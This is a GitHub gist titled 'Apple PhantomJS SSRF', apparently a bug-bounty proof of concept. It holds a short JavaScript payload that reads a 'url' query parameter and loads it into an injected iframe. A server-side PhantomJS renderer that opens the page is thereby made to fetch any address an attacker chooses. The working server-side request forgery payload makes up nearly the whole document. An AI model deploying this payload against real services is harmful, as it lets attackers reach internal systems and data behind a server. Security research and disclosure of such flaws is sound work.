Created
August 24, 2020 22:31
-
-
Save ziot/ef5297cc1324b13a8fae706eeecc68a5 to your computer and use it in GitHub Desktop.
Apple PhantomJS SSRF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function getQueryParams(qs) { | |
qs = qs.split('+').join(' '); | |
var params = {}, | |
tokens, | |
re = /[?&]?([^=]+)=([^&]*)/g; | |
while (tokens = re.exec(qs)) { | |
params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]); | |
} | |
return params; | |
} | |
var query = getQueryParams(document.location.search); | |
var iframe = document.createElement("iframe"); | |
iframe.src = query.url; | |
var iframeParent = document.getElementById("meta"); | |
iframeParent.appendChild(iframe); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment